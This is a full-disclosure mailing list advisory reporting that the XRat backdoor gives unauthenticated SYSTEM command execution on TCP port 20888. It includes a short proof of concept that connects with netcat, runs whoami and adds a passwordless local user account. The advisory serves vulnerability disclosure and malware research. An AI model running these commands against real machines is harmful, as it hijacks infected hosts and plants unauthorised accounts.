full-disclosure - [FD] Backdoor.Win32.XRat.d / Unauthenticated Remote Command Execution

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Message-ID: <CAAHK0WT2KPf0UNT+UydputvSCMwBmzfGcMQDFf2szekLu8kT1A@mail.gmail.com>
Date: Tue, 8 Jun 2021 14:50:03 -0400
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.XRat.d / Unauthenticated Remote Command
	Execution

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/dc77b126b205b0f671e505766c607ef1.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.XRat.d
Vulnerability: Unauthenticated Remote Command Execution
Description: XRat malware runs with SYSTEM integrity and listens on TCP
port 20888. Third-party attackers who can reach the system can connect,
switch to DOS prompt mode and run any OS commands re-compromising the
already infected system.
Type: PE32
MD5: dc77b126b205b0f671e505766c607ef1
Vuln ID: MVID-2021-0242
Dropped files: svhost.exe
Disclosure: 06/08/2021

Exploit/PoC:
nc64.exe 192.168.18.127 20888
"X-Rat System Console" v2.0

Status Ready, Client: 192.168.18.130:43857

[DESKTOP-2C4IRJO@C:\WINDOWS\system32]#DOS

C:\WINDOWS\system32>whoami
nt authority\system

C:\WINDOWS\system32>net user hyp3rlinx "" /add
The command completed successfully.

Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

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